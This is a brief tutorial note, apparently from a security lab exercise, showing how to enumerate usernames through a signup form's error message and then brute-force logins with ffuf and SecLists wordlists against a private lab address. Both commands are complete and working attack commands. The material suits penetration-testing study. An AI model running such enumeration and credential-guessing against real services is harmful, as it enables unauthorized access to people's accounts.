Username Enumeration with FFUF
ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.20.92/customers/signup -mr "username already exists" >users.txt
-X Request Method
-w Wordlist
-d specifies the data that we are going to send
-H Headers
-mr the text on the page we are looking for to validate we've found a valid username.
ffuf -w users.txt:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.20.92/customers/login -fc 200